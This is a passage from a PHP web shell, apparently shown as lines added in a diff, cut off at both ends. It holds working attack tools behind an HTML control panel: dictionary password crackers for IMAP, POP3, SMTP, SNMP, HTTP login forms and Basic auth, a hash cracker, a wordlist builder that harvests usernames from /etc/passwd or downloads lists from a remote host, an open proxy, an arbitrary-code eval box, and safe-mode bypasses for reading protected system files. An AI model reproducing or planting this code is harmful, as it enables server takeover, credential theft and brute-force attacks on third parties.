width=\"65%\"><tr><td width=\"100%\" bgcolor=\"#333333\">New:</td></tr><tr>$td1n<form method=\"POST\"><input type=text size=47 name=newf></td></tr><tr>$td2m$hcwd<input class=buttons type=submit name=newfile value=\"File\"><input class=buttons type=submit name=newdir value=\"Folder\"></td></tr></form></table></td><td width=\"50%\"><br>${t}Upload:</td></tr><tr>$td1n<form method=\"POST\" enctype=\"multipart/form-data\"><input type=file size=45 name=uploadfile></td></tr><tr>$td2m$hcwd<input class=buttons type=submit value=Upload></td></tr>$td1n Note: Max allowed file size to upload on this server is ".ini_get('upload_max_filesize')."</td></tr></form></table>$et"; +} +} +function imaplogiN($host,$username,$password){ +$sock=fsockopen($host,143,$n,$s,5); +$b=namE(); +$l=strlen($b); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,"$b LOGIN $username $password\r\n"); +$res=fgets($sock,$l+4); +if ($res == "$b OK")return 1;else return 0; +fclose($sock); +} +function pop3logiN($server,$user,$pass){ +$sock=fsockopen($server,110,$en,$es,5); +if(!$sock)return -1; +fread($sock,1024); +fwrite($sock,"user $user\n"); +$r=fgets($sock); +if($r{0}=='-')return 0; +fwrite($sock,"pass $pass\n"); +$r=fgets($sock); +fclose($sock); +if($r{0}=='+')return 1; +return 0; +} +function imapcrackeR(){ +global $t,$et,$errorbox,$crack; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$imap=imaplogiN($target,$user,$pass); +if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{ +if ($imap){echo "U: $user P: $pass<br>";if(!$type)break;}} +flusheR(); +} +echo "<br>Done</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else echo "<center>${t}IMAP cracker:$crack"; +} +function snmpcrackeR(){ +global $t,$et,$errorbox,$crack,$hcwd; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); +while(!feof($dictionary)){ +$com=trim(fgets($dictionary)," \n\r"); +$res=snmpchecK($target,$com,2); +if($res)echo "$com<br>"; +flusheR(); +} +echo "<br>Done</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else echo "<center>${t}SNMP cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\">$hcwd<tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Server:</td><td bgcolor=\"#808080\"><input type=text name=target size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Start></td></tr></form></table></center>"; +} +function pop3crackeR(){ +global $t,$et,$errorbox,$crack; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$pop3=pop3logiN($target,$user,$pass); +if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{ +if ($pop3){echo "U: $user P: $pass<br>";if(!$type)break;}} +flusheR(); +} +echo "<br>Done</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else echo "<center>${t}POP3 cracker:$crack"; +} +function smtpcrackeR(){ +global $t,$et,$errorbox,$crack; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "<font color=blue>Cracking ".htmlspecialchars($target)."...<br>";flusheR(); +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$smtp=smtplogiN($target,$user,$pass,5); +if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{ +if ($smtp){echo "U: $user P: $pass<br>";if(!$type)break;}} +flusheR(); +} +echo "<br>Done</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else echo "<center>${t}SMTP cracker:$crack"; +} +function formcrackeR(){ +global $errorbox,$footer,$et,$hcwd; +if(!empty($_REQUEST['start'])){ +$url=$_REQUEST['target']; +$uf=$_REQUEST['userf']; +$pf=$_REQUEST['passf']; +$sf=$_REQUEST['submitf']; +$sv=$_REQUEST['submitv']; +$method=$_REQUEST['method']; +$fail=$_REQUEST['fail']; +$dic=$_REQUEST['dictionary']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer"); +$dictionary=fopen($dic,'r'); +echo "<font color=blue>Cracking started...<br>"; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$url.="?$uf=$user&$pf=$pass&$sf=$sv"; +$res=check_urL($url,$method,$fail,12); +if (!$res){echo "<font color=blue>U: $user P: $pass</font><br>";flusheR();if(!$type)break;} +flusheR(); +} +fclose($dictionary); +echo "Done!</font><br>"; +} +else echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"434\"><tr><td width=\"174\" bgcolor=\"#333333\">HTTP Form cracker:</td><td bgcolor=\"#333333\" width=\"253\"></td></tr><form method=\"POST\" name=form><tr><td width=\"174\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Dictionary type:</td><td bgcolor=\"#808080\"><input type=radio name=combo checked value=0 onClick=\"document.form.user.disabled = false;\" style=\"border-width:1px;background-color:#808080;\">Simple (P)<input type=radio value=1 name=combo onClick=\"document.form.user.disabled = true;\" style=\"border-width:1px;background-color:#808080;\">Combo (U:P)</td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Username:</td><td bgcolor=\"#666666\"><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Action Page:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=target value=\"http://".getenv('HTTP_HOST')."/login.php\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Method:</td><td bgcolor=\"#666666\" width=\"253\"><select size=\"1\" name=\"method\"><option selected value=\"POST\">POST</option><option value=\"GET\">GET</option></select></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Username field name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=userf value=user size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Password field name:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text name=passf value=passwd size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Submit name:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text value=login name=submitf size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\">Submit value:</td><td bgcolor=\"#666666\" width=\"253\"><input type=text value=\"Login\" name=submitv size=35></td></tr><tr><td width=\"174\" bgcolor=\"#808080\">Fail string:</td><td bgcolor=\"#808080\" width=\"253\"><input type=text name=fail value=\"Try again\" size=35></td></tr><tr><td width=\"174\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right width=\"253\"><input class=buttons type=submit name=start value=Start></td></tr></form></table></center>"; +} +function hashcrackeR(){ +global $errorbox,$t,$et,$hcwd; +if (!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){ +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +$hash=strtoupper($_REQUEST['hash']); +echo "<font color=blue>Cracking " . htmlspecialchars($hash)."...<br>";flusheR(); +$type=($_REQUEST['type']=='MD5')?'md5':'sha1'; +while(!feof($dictionary)){ +$word=trim(fgets($dictionary)," \n\r"); +if ($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";break;} +} +echo "Done!</font>"; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +echo "<center>${t}Hash cracker:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Dictionary:</td><td bgcolor=\"#666666\"><input type=text name=dictionary size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Hash:</td><td bgcolor=\"#808080\"><input type=text name=hash size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Type:</td><td bgcolor=\"#666666\"><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Start></td></tr></form></table></center>"; +} +function pr0xy(){ +global $errorbox,$et,$footer,$hcwd; +echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><form method=\"POST\"><tr><td width=\"20%\"><b>Navigator: </b><input type=text name=urL size=140 value=\""; if(!!empty($_REQUEST['urL'])) echo "http://www.edpsciences.org/htbin/ipaddress"; else echo htmlspecialchars($_REQUEST['urL']);echo "\">$hcwd<input type=submit class=buttons value=Go></td></tr></form></table>"; +if (!empty($_REQUEST['urL'])){ +$dir=""; +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/'))); +$url=@fsockopen($host, 80, $errno, $errstr, 12); +if(!$url)die("<br>$errorbox Can not connect to host!$et$footer"); +fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +while(!feof($url)){ +$con = fgets($url); +$con = str_replace("href=mailto","HrEf=mailto",$con); +$con = str_replace("HREF=mailto","HrEf=mailto",$con); +$con = str_replace("href=\"mailto","HrEf=\"mailto",$con); +$con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con); +$con = str_replace("href=\'mailto","HrEf=\"mailto",$con); +$con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con); +$con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con); +$con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con); +$con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); +echo $con; +} +fclose($url); +} +} +function mysqlclienT(){ +global $t,$errorbox,$et,$hcwd; +if (!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && !empty($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){ +$server=$_REQUEST['serveR'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY']; +if(!empty($_REQUEST['dB']))$db=$_REQUEST['dB']; +$link = @mysql_connect($server,$user,$pass); +if($link){ +if (!empty($db))mysql_select_db($db); +$result=mysql_query($query,$link); +echo "${t}Query result(s):$et"; +echo "<font color=blue><pre>"; +while($data=mysql_fetch_row($result)){ +foreach($data as $v) { +echo $v; +echo "\t"; +} +echo "\n"; +} +echo "</pre></font>"; +mysql_close($link); +} +else{ +echo "$errorbox Login failed!$et<br>"; +} +} +echo "<center>${t}MySQL cilent:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);else echo "localhost:3306"; echo "\" name=serveR size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Username:</td><td bgcolor=\"#808080\"><input type=text name=useR value=\"";if (!empty($_REQUEST['user'])) echo htmlspecialchars($_REQUEST['user']);else echo "root"; echo "\" size=35></td><tr><td width=\"20%\" bgcolor=\"#666666\">Password:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['pass'])) echo htmlspecialchars($_REQUEST['pass']);else echo "123456"; echo "\" name=pasS size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Database:</td><td bgcolor=\"#808080\"><input type=text value=\"";if (!empty($_REQUEST['db'])) echo htmlspecialchars($_REQUEST['db']); echo "\" name=dB size=35></td><tr><td width=\"20%\" bgcolor=\"#666666\">Query:</td><td bgcolor=\"#666666\"><textarea name=querY rows=5 cols=27>";if (!empty($_REQUEST['query'])) echo htmlspecialchars(($_REQUEST['query']));else echo "SHOW DATABASES"; echo "</textarea></td></tr></tr><tr><td width=\"20%\" bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=\"Submit Query\"></td></tr></form></table></center>"; +} +function phpevaL(){ +global $t,$hcwd; +if (!empty($_REQUEST['code'])){ +echo "<center><textarea rows=\"10\" cols=\"64\">"; +$code = str_replace("<?php","",$_REQUEST['code']); +$code = str_replace("<?","",$code); +$code = str_replace("?>","",$code); +htmlspecialchars(eval($code)); +echo "</textarea></center><br>"; +} +echo "<center>${t}Evaler:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Codes:</td><td bgcolor=\"#666666\"><textarea rows=\"10\" name=\"code\" cols=\"64\">";if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);echo "</textarea></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=Execute></td></tr></form></table></center>"; +} +function whoiS(){ +global $t,$hcwd; +if (!empty($_REQUEST['server']) && !empty($_REQUEST['domain'])){ +$server =$_REQUEST['server']; +$domain=$_REQUEST['domain']."\r\n"; +$ser=fsockopen($server,43,$en,$es,5); +fputs($ser,$domain); +echo "<pre>"; +while(!feof($ser))echo fgets($ser); +echo "</pre>"; +fclose($ser); +} +else{ +echo "<center>${t}Whois:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['server'])) echo htmlspecialchars($_REQUEST['server']);else echo "whois.geektools.com"; echo "\" name=server size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">domain:</td><td bgcolor=\"#808080\"><input type=text name=domain value=\"";if (!empty($_REQUEST['domain'])) echo htmlspecialchars($_REQUEST['domain']); else echo "google.com"; echo "\" size=35></td><tr><td bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right>$hcwd<input class=buttons type=submit value=\"Do\"></td></tr></form></table></center>"; +} +} +function hexvieW(){ +if (!empty($_REQUEST['filE'])){ +$f = $_REQUEST['filE']; +echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><td width=\"10%\" bgcolor=\"#282828\">Offset</td><td width=\"25%\" bgcolor=\"#282828\">Hex</td><td width=\"25%\" bgcolor=\"#282828\"></td><td width=\"40%\" bgcolor=\"#282828\">ASCII</td></tr>"; +$file = fopen($f,"r"); +$i= -1; +while (!feof($file)) { +$ln=''; +$i++; +echo "<tr><td width=\"10%\" bgcolor=\"#"; +if ($i % 2==0) echo "666666";else echo "808080"; +echo "\">";echo str_repeat("0",(8-strlen($i * 16))).$i * 16;echo "</td>"; +echo "<td width=\"25%\" bgcolor=\"#"; +if ($i % 2==0) echo "666666";else echo "808080"; +echo "\">"; +for ($j=0;$j<=7;$j++){ +if (!feof($file)){ +$tmp = strtoupper(dechex(ord(fgetc($file)))); +if (strlen($tmp)==1) $tmp = "0".$tmp; +echo $tmp." "; +$ln.=$tmp; +} +} +echo "</td><td width=\"25%\" bgcolor=\"#"; +if ($i % 2==0) echo "666666";else echo "808080"; +echo "\">"; +for ($j=7;$j<=14;$j++){ +if (!feof($file)){ +$tmp = strtoupper(dechex(ord(fgetc($file)))); +if (strlen($tmp)==1) $tmp = "0".$tmp; +echo $tmp." "; +$ln.=$tmp; +} +} +echo "</td><td width=\"40%\" bgcolor=\"#"; +if ($i % 2==0) echo "666666";else echo "808080"; +echo "\">"; +$n=0;$asc="";$co=0; +for ($k=0;$k<=16;$k++){ +$co=hexdec(substr($ln,$n,2)); +if (($co<=31)||(($co>=127)&&($co<=160)))$co=46; +$asc.= chr($co); +$n+=2; +} +echo htmlspecialchars($asc); +echo "</td></tr>"; +} +} +fclose($file); +echo "</table>"; +} +function safemodE(){ +global $windows,$t,$hcwd; +if (!empty($_REQUEST['file'])){ +$i=1; +echo "<pre>\n<font color=green>Method $i:(ini_restore)</font><font color=blue>\n"; +ini_restore("safe_mode");ini_restore("open_basedir"); +$tmp = file_get_contents($_REQUEST['file']); +echo $tmp; +$i++; +echo "\n</font><font color=green>Method $i:(copy)</font><font color=blue>\n"; +$tmp=tempnam("","cx"); +copy("compress.zlib://".$_REQUEST['file'], $tmp); +$fh = fopen($tmp, "r"); +$data = fread($fh, filesize($tmp)); +fclose($fh); +echo $data; +$i++; +if(function_exists("curl_init")){ +echo "\n</font><font color=green>Method $i:(curl_init)[A]</font><font color=blue>\n"; +$fh = @curl_init("file://".$_REQUEST['file'].""); +$tmp = @curl_exec($fh); +echo $tmp; +$i++; +echo "\n</font><font color=green>Method $i:(curl_init)[B]</font><font color=blue>\n"; +$i++; +if(strstr($_REQUEST['file'],DIRECTORY_SEPARATOR)) +$ch =curl_init("file:///".$_REQUEST['file']."\x00/../../../../../../../../../../../../".__FILE__); +else $ch = curl_init("file://".$_REQUEST['file']."\x00".__FILE__); +curl_exec($ch); +var_dump(curl_exec($ch)); +} +if($_REQUEST['file'] == "/etc/passwd"){ +echo "\n</font><font color=green>Method $i:(posix)</font><font color=blue>\n"; +for($uid=0;$uid<99999;$uid++){ +$h=posix_getpwuid($uid); +if (!empty($h))foreach($h as $v)echo "$v:";}} +$i++; +echo "</pre></font>"; +} +echo "<center>${t}Anti Safe-Mode:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">File:</td><td bgcolor=\"#666666\"><input type=text value=\"";if (!empty($_REQUEST['file'])) echo htmlspecialchars($_REQUEST['file']);elseif(!$windows) echo "/etc/passwd"; echo "\" name=file size=35></td></tr><tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=\"Read\"></td></tr></form></table></center>"; +} +function crackeR(){ +global $et; +$cwd = getcwd(); +echo "<center><table border=0 bgcolor=#333333><tr><td><a href=\"".hlinK("seC=hc&workingdiR=$cwd")."\">[Hash]</a> - <a href=\"".hlinK("seC=smtp&workingdiR=$cwd")."\">[SMTP]</a> - <a href=\"".hlinK("seC=pop3&workingdiR=$cwd")."\">[POP3]</a> - <a href=\"".hlinK("seC=imap&workingdiR=$cwd")."\">[IMAP]</a> - <a href=\"".hlinK("seC=ftp&workingdiR=$cwd")."\">[FTP]</a> - <a href=\"".hlinK("seC=snmp&workingdiR=$cwd")."\">[SNMP]</a> - <a href=\"".hlinK("seC=sql&workingdiR=$cwd")."\">[MySQL]</a> - <a href=\"".hlinK("seC=fcr&workingdiR=$cwd")."\">[HTTP form]</a> - <a href=\"".hlinK("seC=auth&workingdiR=$cwd")."\">[HTTP Auth(basic)]</a> - <a href=\"".hlinK("seC=dic&workingdiR=$cwd")."\">[Dictionary maker]</a>$et</center>"; +} +function dicmakeR(){ +global $errorbox,$windows,$footer,$t,$et,$hcwd; +if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0; +if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ +$min = $_REQUEST['min']; +$max = $_REQUEST['max']; +if($max<$min)die($errorbox ."Bad input!$et". $footer); +$s =$w=""; +$out = $_REQUEST['output']; +$r = ($_REQUEST['range']=='a' )?'a':'A'; +if ($_REQUEST['range']==0) $r=0; +for($i=0;$i<$min;$i++) $s.=$r; +$dic = fopen($out,'a'); +if(is_nan($r)){ +while(strlen($s)<=$max){ +$w = $s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +$s++;} +} +else{ +while(strlen($w)<=$max){ +$w =(string)str_repeat("0",($min - strlen($s))).$s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +$s++;} +} +fclose($dic); +echo "<font color=blue>Done</font>"; +} +if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ +$input=fopen($_REQUEST['input'],'r'); +if (!$input){ +if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et<br>"; +else{ +$input=explode("\n",shelL("cat $input")); +$output=fopen($_REQUEST['output'],'w'); +if ($output){ +foreach ($input as $in){ +$user = $in; +$user = trim(fgets($in)," \n\r"); +if (!strstr($user,":"))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo "<font color=blue>Done</font>"; +} +} +} +else{ +$output=fopen($_REQUEST['output'],'w'); +if ($output){ +while (!feof($input)){ +$user = trim(fgets($input)," \n\r"); +if (!strstr($user,":"))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo "<font color=blue>Done</font>"; +} +else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et<br>"; +} +}elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ +$res=downloadiT($_REQUEST['url'],$_REQUEST['output']); +if($combo && $res){ +$file=file($_REQUEST['output']); +$output=fopen($_REQUEST['output'],'w'); +foreach ($file as $v)fwrite($output,"$v:$v\n"); +fclose($output); +} +echo "<font color=blue>Done</font>"; +}else{ +$temp=whereistmP(); +echo "<center>${t}Wordlist generator:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Range:</td><td bgcolor=\"#666666\"><select name=range><option value=a>a-z</option><option value=Z>A-Z</option><option value=0>0-9</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Min lenght:</td><td bgcolor=\"#808080\"><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\">Max lenght:</td><td bgcolor=\"#666666\"><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox name=combo style=\"border-width:1px;background-color:#666666;\" value=1 checked>Combo style output</td></tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Make></td></tr></form></table><br>${t}Grab dictionary:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Grab from:</td><td bgcolor=\"#666666\"><input type=text value=\"/etc/passwd\" name=input size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Grab></td></tr></form></table><br>${t}Download dictionary:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">URL:</td><td bgcolor=\"#666666\"><input type=text value=\"http://vburton.ncsa.uiuc.edu/wordlist.txt\" name=url size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Output:</td><td bgcolor=\"#808080\"><input type=text value=\"$temp/.dic\" name=output size=35></td></tr><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\"><input type=checkbox style=\"border-width:1px;background-color:#666666;\" name=combo value=1 checked>Combo style output</td></tr><tr><td bgcolor=\"#808080\"></td><td bgcolor=\"#808080\" align=right>$hcwd<input class=buttons type=submit value=Get></td></tr></form></table></center>";} +} +function calC(){ +global $t,$et,$hcwd; +$fu = array('-','md5','sha1','crc32','hex','ip2long','long2ip','base64_encode','base64_decode','urldecode','urlencode'); +if (!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){ +echo "<center>${t}Output:<br><textarea rows=\"10\" cols=\"64\">"; +if($_REQUEST['to']!='hex')echo $_REQUEST['to']($_REQUEST['input']);else for($i=0;$i<strlen($_REQUEST['input']);$i++)echo strtoupper(dechex(ord($_REQUEST['input']{$i}))); +echo "</textarea>$et</center><br>"; +} +echo "<center>${t}Convertor:</td><td bgcolor=\"#333333\"></td></tr><form method=\"POST\"><tr><td width=\"20%\" bgcolor=\"#666666\">Input:</td><td bgcolor=\"#666666\"><textarea rows=\"10\" name=\"input\" cols=\"64\">";if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo "</textarea></td></tr><tr><td width=\"20%\" bgcolor=\"#808080\">Task:</td><td bgcolor=\"#808080\"><select size=1 name=to><option value=md5>MD5</option><option value=sha1>SHA1</option><option value=crc32>crc32</option><option value=ip2long>IP to long</option><option value=long2ip>Long to IP</option><option value=hex>HEX</option><option value=urlencode>URL encoding</option><option value=urldecode>URL decoding</option><option value=base64_encode>Base64 encoding</option><option value=base64_decode>Base64 decoding</option></select></td><tr><td width=\"20%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=right><input class=buttons type=submit value=Convert></td></tr>$hcwd</form></table></center>"; +} +function authcrackeR(){ +global $errorbox,$et,$t,$crack,$hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$data=''; +$method=($_REQUEST['method'])?'POST':'GET'; +if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} +spliturL($_REQUEST['target'],$host,$page); +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +if($method='GET')$page.=$data; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +echo "<font color=blue>"; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$so=fsockopen($host,80,$en,$es,5); +if(!$so){echo "$errorbox Can not connect to host$et";break;} +else{ +$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); +if($method=='POST')$packet.="Content-Type: 